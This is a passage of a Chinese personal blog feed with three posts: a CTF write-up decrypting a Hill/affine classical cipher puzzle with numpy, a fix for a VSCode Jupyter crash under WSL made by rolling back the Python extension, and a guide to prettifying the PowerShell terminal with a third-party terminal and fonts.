class="params">(An)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    用前面描述的方法求出 A⁻¹ mod n</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    det = int(np.linalg.det(An))</span><br><span class="line">    An_inv = np.linalg.inv(An)                  <span class="comment"># 此时 An_inv.dtype == np.float8</span></span><br><span class="line">    An_star = np.array(An_inv * det, np.int)    <span class="comment"># 为了避免后面出现偏差，乘完之后赶紧 np.int</span></span><br><span class="line">                                                <span class="comment"># 涉及逆元等返回 np 默认 dtype 的时候，注意类型处理</span></span><br><span class="line">    det_inv = int(gmpy2.invert(det, <span class="number">26</span>))</span><br><span class="line">    An_inv = det_inv * An_star % <span class="number">26</span></span><br><span class="line">    <span class="keyword">return</span> An_inv % <span class="number">26</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Hill_dec</span><span class="params">(cipher, An, n, type)</span>:</span></span><br><span class="line">    <span class="string">'''</span></span><br><span class="line"><span class="string">    cipher 为字符串，</span></span><br><span class="line"><span class="string">    An 是 np.array() 形式的密钥，dtype = np.int, n 是模数，</span></span><br><span class="line"><span class="string">    type 表示 cipher 的编码方式，</span></span><br><span class="line"><span class="string">    '''</span></span><br><span class="line">    <span class="comment"># cipher -&gt; Cn</span></span><br><span class="line">    d = An.shape[<span class="number">0</span>]</span><br><span class="line">    Cn = np.array(str2num(cipher, type))</span><br><span class="line">    Cn = np.array([Cn[i:i+d] <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0</span>, Cn.size, d)]).T</span><br><span class="line">    <span class="comment"># Hill decrypt</span></span><br><span class="line">    An_inv = an_inv(An)</span><br><span class="line">    Xn = np.dot(An_inv, Cn) % n</span><br><span class="line">    <span class="comment"># Xn -&gt; message</span></span><br><span class="line">    <span class="comment"># message_lst = [int(Xn[i%2-i//2][i//2]) for i in xrange(0, Xn.size)] # 以纵列为顺序展开矩阵</span></span><br><span class="line">    message_lst = list(Xn.flatten(<span class="string">'F'</span>))     <span class="comment"># 以纵列为顺序展开矩阵</span></span><br><span class="line">    message = num2str(message_lst, type)</span><br><span class="line">    <span class="keyword">return</span> message</span><br></pre></td></tr></table></figure><h3 id="核心代码">核心代码</h3><h4 id="矩阵逆元">矩阵逆元</h4><p>Hill 密码解密的关键在于求出 矩阵A 的逆元（模 n 情况下的）；<br>理论如下：</p><p>$$<br>A^{-1} = \frac{1}{|A|} A^{\star}<br>\\<br>\frac{1}{|A|} = |A|^{-1} \pmod n<br>\\<br>\therefore A^{-1} = |A|^{-1} · A^{\star} \pmod n<br>$$</p><p>需要注意的是逆矩阵会有非整数，但是伴随矩阵一定是整数（整数矩阵），所以依旧可以 $A^{\star}=|A| · A^{-1}$ 的方式求出伴随矩阵。</p><p>求法：<br>$$<br>A^{\star} = |A| · A^{-1}<br>\\<br>A^{-1} = |A|^{-1} · A^{\star} \pmod n<br>$$</p><h4 id="Numpy">Numpy</h4><p>这段代码大量使用了 numpy  这个第三方库里的对象、函数、方法。<br>其中和线性代数相关的函数有：</p><table><thead><tr><th style="text-align:left">函数</th><th style="text-align:left">描述</th><th>助记</th></tr></thead><tbody><tr><td style="text-align:left"><code>dot</code></td><td style="text-align:left">如果一维数组，得到两数组的內积<br>如果二维数组（矩阵）之间的运算，得到矩阵积；</td><td>dot - <code>·</code></td></tr><tr><td style="text-align:left"><code>linalg.det</code></td><td style="text-align:left">数组的行列式</td><td>hanglie</td></tr><tr><td style="text-align:left"><code>linalg.solve(A, B)</code></td><td style="text-align:left">求解线性矩阵方程</td><td></td></tr><tr><td style="text-align:left"><code>inv</code></td><td style="text-align:left">计算矩阵的乘法逆矩阵</td><td>invert</td></tr></tbody></table><p>当然代码中还用到了诸如 <code>Cn.flatten('F')</code> 这样的宝藏方法。<br>还需要注意的是，Numpy 默认的矩阵元素是 <code>np.float</code> 类型，且求逆矩阵、一些运算之后，矩阵类型都会变成  <code>np.float</code> 类型，这对解密的正确性的打击是毁灭性的。<br><code>3.9999</code> 会被直接当成 <code>3</code>，而且如果不够注意的话，会导致连环的效应😢 。</p><h4 id="其他">其他</h4><p>这里也兼容了各种字符集。</p><h2 id="题目示例">题目示例</h2><p>题目选自 Viking 战队2018级的招新题：被线性代数支配的恐惧。</p><h3 id="文件">文件</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HNBSIRVQQBRFGPS</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">encrypt</span><span class="params">(<span class="keyword">char</span> *msg, <span class="keyword">int</span> key1[][<span class="number">3</span>], <span class="keyword">int</span> *key2, <span class="keyword">int</span> n)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> key[<span class="number">3</span>][<span class="number">3</span>] =</span><br><span class="line">&#123;&#123;<span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>&#125;,</span><br><span class="line"> &#123;<span class="number">0</span>, <span class="number">1</span>, <span class="number">1</span>&#125;,</span><br><span class="line"> &#123;<span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>&#125;&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> key2[<span class="number">3</span>] = &#123;<span class="number">2</span>, <span class="number">5</span>, <span class="number">4</span>&#125;;</span><br><span class="line"><span class="keyword">char</span> flag[<span class="number">100</span>];</span><br><span class="line"></span><br><span class="line">FILE *file = fopen(<span class="string">"flag.txt"</span>, <span class="string">"r"</span>);</span><br><span class="line"><span class="keyword">if</span> (file == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Flag不在这里哦"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">fgets(flag, <span class="number">0X100</span>, file);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%d\n"</span>, <span class="built_in">strlen</span>(flag));</span><br><span class="line">encrypt(flag, key, key2, <span class="number">3</span>);</span><br><span class="line">FILE *cipher = fopen(<span class="string">"cipher.txt"</span>, <span class="string">"w"</span>);</span><br><span class="line"><span class="built_in">fputs</span>(flag, cipher);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">encrypt</span><span class="params">(<span class="keyword">char</span> *msg, <span class="keyword">int</span> key1[][<span class="number">3</span>], <span class="keyword">int</span> *key2, <span class="keyword">int</span> n)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> f = <span class="built_in">strlen</span>(msg) / n;</span><br><span class="line"><span class="keyword">int</span> len = <span class="built_in">strlen</span>(msg);</span><br><span class="line"><span class="keyword">int</span> tmp[n];</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">msg[i] -= <span class="string">'A'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; f; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j &lt; n; j++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">int</span> t = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> k = <span class="number">0</span>; k &lt; n; k++)</span><br><span class="line">t += (key1[j][k] * msg[i * n + k]);</span><br><span class="line">tmp[j] = t;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> k = <span class="number">0</span>; k &lt; n; k++)</span><br><span class="line">msg[i * n + k] = (tmp[k] + key2[k]) % <span class="number">26</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">msg[i] += <span class="string">'A'</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="分析">分析</h3><p>这道题不是原生的希尔密码，有希尔密码+仿射密码的味道。（Exciting ）<br>我用 Python 重写代码如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line">An = np.array([[<span class="number">1</span>,<span class="number">1</span>,<span class="number">1</span>],[<span class="number">0</span>,<span class="number">1</span>,<span class="number">1</span>],[<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>]])</span><br><span class="line">Bn = np.array([[<span class="number">2</span>]*<span class="number">5</span>,[<span class="number">5</span>]*<span class="number">5</span>,[<span class="number">4</span>]*<span class="number">5</span>])</span><br><span class="line"></span><br><span class="line">f = open(<span class="string">"flag.txt"</span>,<span class="string">"r"</span>).read()</span><br><span class="line">Xn = []</span><br><span class="line"><span class="keyword">for</span> char <span class="keyword">in</span> f:</span><br><span class="line">    Xn.append(ord(char)-ord(<span class="string">'A'</span>))</span><br><span class="line">Xn = np.array(X).reshape(<span class="number">5</span>,<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">Xn = ( np.dot(An, Xn.T) + Bn ) % <span class="number">26</span></span><br><span class="line"></span><br><span class="line">Xn = np.transpose(Xn).flatten()</span><br><span class="line">cipher = <span class="string">""</span></span><br><span class="line"><span class="keyword">for</span> item <span class="keyword">in</span> Xn:</span><br><span class="line">    cipher += chr(item+ord(<span class="string">'A'</span>))</span><br><span class="line"></span><br><span class="line">print(cipher)</span><br></pre></td></tr></table></figure><p>这就很清晰了，加密方案是：<br>$$<br>A_n \times X_n + B_n = C_n<br>$$<br>换汤不换药，打走小白工具侠。解密方法是：</p><p>$$<br>X_n = (C_n - B_n) \times A_n^{-1}<br>$$</p><p>用上之前的脚本（调用 ||  <kbd>ctrl</kbd> + <kbd>c</kbd> &amp;&amp; <kbd>ctrl </kbd>+<kbd>v</kbd>）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 被线代支配的恐惧</span></span><br><span class="line"><span class="keyword">import</span> Hill <span class="comment"># 刚刚的脚本</span></span><br><span class="line"></span><br><span class="line">An = np.array([[<span class="number">1</span>,<span class="number">1</span>,<span class="number">1</span>],[<span class="number">0</span>,<span class="number">1</span>,<span class="number">1</span>],[<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>]])</span><br><span class="line">Bn = np.array([[<span class="number">2</span>]*<span class="number">5</span>,[<span class="number">5</span>]*<span class="number">5</span>,[<span class="number">4</span>]*<span class="number">5</span>])</span><br><span class="line">cipher = <span class="string">"HNBSIRVQQBRFGPS"</span>.lower()</span><br><span class="line"><span class="comment"># Hill_dec(Cipher, An, 26, "alpha")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Cipher -&gt; Cn</span></span><br><span class="line">d = An.shape[<span class="number">0</span>]</span><br><span class="line">Cn = np.array(str2num(cipher, <span class="string">"alpha"</span>))</span><br><span class="line">Cn = np.array([Cn[i:i+d] <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0</span>, Cn.size, d)]).T</span><br><span class="line"><span class="comment"># Hill decrypt</span></span><br><span class="line">An_inv = an_inv(An)</span><br><span class="line">Xn = np.dot(An_inv, Cn-Bn) % <span class="number">26</span></span><br><span class="line"><span class="comment"># Xn -&gt; message</span></span><br><span class="line"><span class="comment"># message_lst = [int(Xn[i%2-i//2][i//2]) for i in xrange(0, Xn.size)] # 以纵列为顺序展开矩阵</span></span><br><span class="line">message_lst = list(Xn.flatten(<span class="string">'F'</span>))     <span class="comment"># 以纵列为顺序展开矩阵</span></span><br><span class="line">message = num2str(message_lst, <span class="string">"alpha"</span>).upper()</span><br><span class="line"><span class="keyword">print</span> <span class="string">"flag:"</span></span><br><span class="line"><span class="keyword">print</span> message</span><br></pre></td></tr></table></figure><p>message : <code>XIANDAIHENYOUQU</code>.</p><h1>参考文章</h1><ol><li><a href="https://ctf-wiki.github.io/ctf-wiki/crypto/classical/monoalphabetic-zh/#_14" target="_blank" rel="noopener">Single table Substitution Cipher</a></li><li><a href="https://ctf-wiki.github.io/ctf-wiki/crypto/classical/polyalphabetic-zh/#hill" target="_blank" rel="noopener">Multi-table Substitution Cipher</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;仿射密码和希尔密码是两个很有趣的古典密码，两者之间还有一定的联系。&lt;/p&gt;
&lt;p&gt;本文想对仿射密码和希尔密码的加密解密进行深度解析，并附有精彩例题。之所以厚颜无耻地说是“深度解析”，是因为网络上的文章 🙂🙂🙂。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;环境要求：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;gmpy2 （&lt;a href=&quot;https://gmpy2.readthedocs.io/en/latest/intro.html#installation&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gmpy2 安装教程&lt;/a&gt;）&lt;/li&gt;
&lt;li&gt;numpy （pip install numpy）&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://zer0-nu1l.github.io/categories/CTF/"/>
    
      <category term="Crypto" scheme="https://zer0-nu1l.github.io/categories/CTF/Crypto/"/>
    
    
      <category term="Hill" scheme="https://zer0-nu1l.github.io/tags/Hill/"/>
    
      <category term="Affine" scheme="https://zer0-nu1l.github.io/tags/Affine/"/>
    
      <category term="Numpy" scheme="https://zer0-nu1l.github.io/tags/Numpy/"/>
    
  </entry>
  
  <entry>
    <title>Jupyter server crashed | VSCode + WLS</title>
    <link href="https://zer0-nu1l.github.io/2020/03/12/VSCode_Jupyter_bug/"/>
    <id>https://zer0-nu1l.github.io/2020/03/12/VSCode_Jupyter_bug/</id>
    <published>2020-03-12T14:00:00.000Z</published>
    <updated>2020-12-18T14:19:46.594Z</updated>
    
    <content type="html"><![CDATA[<h1>情况分析</h1><p>和往常一样，风平浪静☁️的一天，笔者打开 VSCode Remote WSL 之后，打开 Jupyter notebook，按下 <kbd>ctrl</kbd>+ <kbd>Enter</kbd> 运行代码，却得到了以下不寻常的通知和报错：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image001-1584015261571.png" style="zoom:80%;"><center> 图 1</center><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image001-1584015274950.png" alt></p><center> 图 2</center><a id="more"></a><h1>搜索引擎解决法</h1><p>如果是往常，复制保存信息，扔到 Google 应该很快就能得到解决方案，遗憾的是，笔者这个奇葩罕见的 VSCode 的用法，注定了不能直接得到解决的方案。<br>VSCode GitHub 相关的 issue 看遍了，google 的基本看遍了、百度的可以看遍了，并没有可以直接的解决它的方法。😭</p><h1>重新分析</h1><h2 id="反思">反思</h2><p>仔细看报错信息！！每个人的情况各异，搜索引擎不可能涵盖所有情况，你已经是个成熟的萌新了🌟 。<br>作为程序员，搜索引擎只是辅助手段，仅仅是收集信息中的一种手段。</p><h2 id="波利亚解题法的启发">波利亚解题法的启发</h2><blockquote><p>参考自 <a href="https://www.jianshu.com/p/b55ec8de5968" target="_blank" rel="noopener">波利亚四步解题法</a></p><p>波利亚的《怎样解题：数学思维的新方法》（How to Solve it: A New Aspect  of Mathematical Method)<br>1、彻底理解问题：为了确保真正理解问题，你最好把问题用自已的话换成各种形式反复重新表达，但另忘了指出问题的主干：要求解的是什么？已知什么？要满足哪些条件？但凡能画图，一定要画出来。<br>2、形成解题思路：要专注，用过往经验，已撑握的知识，并调整适用性来形成思路。如果不行，就改变这个问题的各个组件：已知、未知、条件，先构造简单一点的，引入辅助，条件是否用足，甚至改变求解的未知数，看能否找到解题线索？直到找到与之相似而你又解决过的问题。<br>3、执行：一要有耐心，二需要及时的检查每一步，可凭直觉或证明（两个都有用，但是两回事），要问自已每一步都检查了吗？能看出来这一步是对的吗？能证明这一步是对的吗？<br>4、总结：巩固与提升的关键，多想想，再论证，尝试另外的解法，找更明快简捷的方法，还要问，这次的解法还能用在什么地方？总结是最好的启法时刻。</p></blockquote><p>⭐️ 那我也简述一下自己一直以来的经验：</p><ol><li>遇到问题(bug)，要先尽可能收集信息，找出发生错误的各种可能的原因；</li><li>把可能的原因序列，根据优先级排序，然后逐个尝试；</li><li>总结归纳；</li></ol><h2 id="收集信息">收集信息</h2><h3 id="信息一">信息一</h3><p>运行时的报错信息：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200312204521370.png" alt="image-20200312204521370" style="zoom:80%;"><p>仔细看报错信息，…/extensions/ms-python.python-2020.2.64367/…<br>应该是一个 ID 为 <code>ms-python.python</code> 的扩展<br>ms 很可能表示 Microsoft，所以这个扩展可能就是 Python，在扩展的信息中发现 Python 拓展 的 Extension-id 确实是 ms-python python</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200312204442296.png" alt="image-20200312204442296" style="zoom:50%;"><h3 id="信息二">信息二</h3><p>一个月前这个插件还是能正常使用的，为什么这次就不行了？<br>可能的原因：</p><ol><li>本次开启的方式和期间有更改一些东西，后台有运行其他的什么等等</li><li>版本不兼容问题（这个版本的）</li></ol><p>原因 1 探索的代价高、难度大，但是解决之后能始终使用最新的版本；<br>原因 2 操作简单，能够迅速应对现在的情景，并且我个人使用 WSL 对 Python 的插件的要求不高，更新也不太需要。</p><h2 id="尝试">尝试</h2><p>先尝试版本回退。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image003.png" style="zoom:80%;"><p>很幸运的是，回退到一个月前的之后，Jupyter notebook 可以正常使用了。</p><p>至于探索原因…… 综合考虑种种因素，不去触碰啦~（其实是大失败了）</p><h2 id="后续">后续</h2><p>为了防止 Python 扩展再次更新，取消 WSL 下的扩展的自动更新。<br>可以看到 defaultSettign.json （只读文件）中默认是自动更新的。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image004.png" style="zoom: 50%;"><p>我们可以在设置中关闭它：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200312201607696.png" alt="image-20200312201607696" style="zoom: 50%;"><p>或者在 <code>setting.json</code> 中添加一条 <code>“extensions.autoUpdate”: false</code></p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200312201631390.png" alt="image-20200312201631390" style="zoom:67%;"><blockquote><p>也许你会奇怪为什么 setting.json 中只有这么一点设置，而设置里面可以找到很多。<br>这是因为设置中的默认部分在 settign.json 里面不需要补充，只有用户需要额外添加的设置需要写在 setting.json 里面。</p></blockquote><blockquote><p>最后感谢让我发现自己轻视 VSCode 扩展自动更新问题的 <code>syj</code> 😘</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;h1&gt;情况分析&lt;/h1&gt;
&lt;p&gt;和往常一样，风平浪静☁️的一天，笔者打开 VSCode Remote WSL 之后，打开 Jupyter notebook，按下 &lt;kbd&gt;ctrl&lt;/kbd&gt;+ &lt;kbd&gt;Enter&lt;/kbd&gt; 运行代码，却得到了以下不寻常的通知和报错：&lt;/p&gt;
&lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image001-1584015261571.png&quot; style=&quot;zoom:80%;&quot;&gt;
&lt;center&gt; 图 1&lt;/center&gt;
&lt;p&gt;&lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image001-1584015274950.png&quot; alt&gt;&lt;/p&gt;
&lt;center&gt; 图 2&lt;/center&gt;
    
    </summary>
    
    
      <category term="Development" scheme="https://zer0-nu1l.github.io/categories/Development/"/>
    
      <category term="bug" scheme="https://zer0-nu1l.github.io/categories/Development/bug/"/>
    
    
      <category term="Error" scheme="https://zer0-nu1l.github.io/tags/Error/"/>
    
      <category term="VSCode" scheme="https://zer0-nu1l.github.io/tags/VSCode/"/>
    
      <category term="IDE" scheme="https://zer0-nu1l.github.io/tags/IDE/"/>
    
      <category term="WSL" scheme="https://zer0-nu1l.github.io/tags/WSL/"/>
    
      <category term="Jupyter notebook" scheme="https://zer0-nu1l.github.io/tags/Jupyter-notebook/"/>
    
  </entry>
  
  <entry>
    <title>【飞蛾扑火】PowerShell 终端美化踩坑</title>
    <link href="https://zer0-nu1l.github.io/2020/03/08/%E3%80%90%E9%A3%9E%E8%9B%BE%E6%89%91%E7%81%AB%E3%80%91%E7%BB%88%E7%AB%AF%E7%BE%8E%E5%8C%96%E8%B8%A9%E5%9D%91/"/>
    <id>https://zer0-nu1l.github.io/2020/03/08/%E3%80%90%E9%A3%9E%E8%9B%BE%E6%89%91%E7%81%AB%E3%80%91%E7%BB%88%E7%AB%AF%E7%BE%8E%E5%8C%96%E8%B8%A9%E5%9D%91/</id>
    <published>2020-03-07T16:00:00.000Z</published>
    <updated>2020-12-18T13:35:45.917Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>美，是一种感知。<br>潜藏在每个人生命中，<br>当它被挖掘，被激发，<br>便会变成一种使人安定的力量。<br>它不仅能带来感官上的触动，<br>也是历练生命、丰沛情感、释放思想的源泉。<br>—— 蒋勋</p></blockquote><p>对于 PowerShell 美化的折腾，其实在两三个月前我曾经做过一次，那个时候还是在期末考试期间。因为过度沉迷，以及涌现出了的意料之外的终端乱码，花费了不少时间，最后为了赶复习进度而不了了之。</p><p>这次又一次在 <code>zn</code> 的安利下，开始飞蛾扑火。</p><p>在这里分享 PowerShell 美化的思路，希望帮助大家避过坑，以及记录一些自己的感悟。</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308121225697.png" alt="image-20200308121225697"></p><a id="more"></a><h1>PowerShell 终端美化思路</h1><blockquote><p>PowerShell 默认的终端是很简单的，并没有考虑美化。从实用角度基本是够用的，但在实用的基础上，很多人希望能有更好的使用体验，所以一大堆应用涌现。</p></blockquote><p>终端美化的基本思路有：</p><ol><li>对 PowerShell 的字体等进行修改；</li><li>在 PowerShell 上安装并使用 oh-my-posh；</li><li>改用第三方终端，如 Fluent Terminal、Hyper、Terminus 等。</li></ol><p>⭐️ ​其中值得注意的是，PowerShell 安装 oh-my-posh 后很可能出现“乱码”的现象，这是字体缺位导致的，建议改用支持大量其他字体的第三方终端，一劳永逸。</p><h2 id="结论置顶">结论置顶</h2><blockquote><p>这里先呈现结论，结论的依据会在后面详细解释。</p></blockquote><h3 id="效果图">效果图</h3><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308103044933.png" alt="image-20200308103044933"></p><h3 id="思路">思路</h3><p>PowerShell 自身不支持 oh-my-zsh 的一些字体，会导致乱码，故使用 Powershell 第三方终端（如 Fluent Terminal）+oh-my-zsh 的方案。</p><ol><li>下载安装 Fluent Terminal；</li><li>在 PowerShell 下安装 oh-my-zsh，选择自己喜欢的主题，通过更改 <code>$proflie</code> 指定的文件，将 oh-my-zsh 的设置在每次启动 PowerShell 的时候自动加载。</li><li>下载 oh-my-zsh 需要的字体，将 Fluent Terminal 的字体修改；</li><li>更改 VSCode 的终端字体设置，使之同等美化。</li></ol><h2 id="修改-PowerShell-的终端">修改 PowerShell 的终端</h2><p>这是 PowerShell 和 cmd 自身提供的属性设置。（标题栏右键）</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308101500526.png" alt="image-20200308101500526" style="zoom:80%;"><p>但是局限性非常大，可用的字体非常少。cmd 和 PowerShell 对字体的要求很严苛，即使你安装了一大堆的字体，在 <code>&quot;Windows PowerShell&quot; 属性 </code> 中的 <code>字体</code> 选项卡下，能看到的字体也就几个。</p><p>也有博客对自定义字体有“研究成果”，详见：<a href="https://walterlv.github.io/post/customize-fonts-of-command-window.html#%E6%8E%A8%E8%8D%90%E5%8F%AF%E7%94%A8%E7%9A%84%E5%AD%97%E4%BD%93" target="_blank" rel="noopener">自定义 Windows PowerShell 和 cmd 的字体</a>。</p><h2 id="安装使用-oh-my-zsh">安装使用 oh-my-zsh</h2><p>安装步骤和使用的教程非常多，笔者也是直接参照网络上的教程安装的，这里不再赘述。<br>但使用的时候会发现，没有 Linux 下 zsh 的效果，甚至出现如下近乎“乱码”的现象：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308104054220.png" alt="image-20200308104054220" style="zoom: 67%;"><p>看看其他主题的情况？</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308110644627.png" alt="image-20200308110644627"></p><p>发现“乱码”其实只有一两种字符。<br>⭐️ 其实是因为对应的字符在当前字体下是不存在的，而支持这些字符的字体在 cmd 和 PowerShell 严苛要求下的字体几乎是不存在的。<br>✔️ 所以需要使用第三方Powershell 终端，才能还原 zsh 在 Linux 下的风采。</p><h2 id="使用第三方-PowerShell-终端">使用第三方 PowerShell 终端</h2><h3 id="下载安装-Fluent-Terminal">下载安装 Fluent Terminal</h3><p>PowerShell 终端非常多，如 Fluent Terminal、Hyper、Terminus 等。</p><p>其中很受推荐的其中一个是 Fluent Terminal，是利用 UWP 技术打造的颜值超高的终端模拟器。不过在 UWP 应用市场并找不到，要去 <a href="https://github.com/felixse/FluentTerminal/releases" target="_blank" rel="noopener">GitHub Release</a> 下载。</p><p>下载完毕后，用 PowerShell 运行文件夹下的 <code>Install.ps1</code> 按照提示操作即可安装成功。<br>建议设置在中把默认 shell 改成 PowerShell：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308105324042.png" alt="image-20200308105324042" style="zoom:67%;"><h3 id="修改字体">修改字体</h3><p>如果前面已经在 Powershell 安装了 oh-my-zsh，此时的 Fluent Terminal 下的Powershell 依然是存在“乱码”的现象。<br>这时候需要下载并安装支持 oh-my-zsh 对应主题的字体，比如 powerline 的字体库： <a href="https://github.com/powerline%E3%80%82%EF%BC%88%E5%85%B6%E5%AE%9E%E6%88%91%E7%94%A8%E7%9A%84%E4%B8%8D%E6%98%AF" target="_blank" rel="noopener">https://github.com/powerline。（其实我用的不是</a> powerline, hhh）<br>安装后再在 Fluent Terminal 的设置中更改字体就大工告成了！</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308105823820.png" alt="image-20200308105823820" style="zoom:50%;"><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308110523327.png" alt="image-20200308110523327" style="zoom:80%;"><h3 id="VSCode-终端美化">VSCode 终端美化</h3><p>在之前的基础上，只需要修改 VSCode 的终端字体即可；<br>可以编辑 <code>setting.json</code> ，也可以在设置中查找。</p><p>效果图：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200308111027390.png" alt="image-20200308111027390"></p><hr><h1>美学感悟</h1><blockquote><p>挂了美学的旗子，估计是膨胀了。 😢</p></blockquote><p>折腾一番还是蛮消耗时间的，但是克服不了变美的诱惑 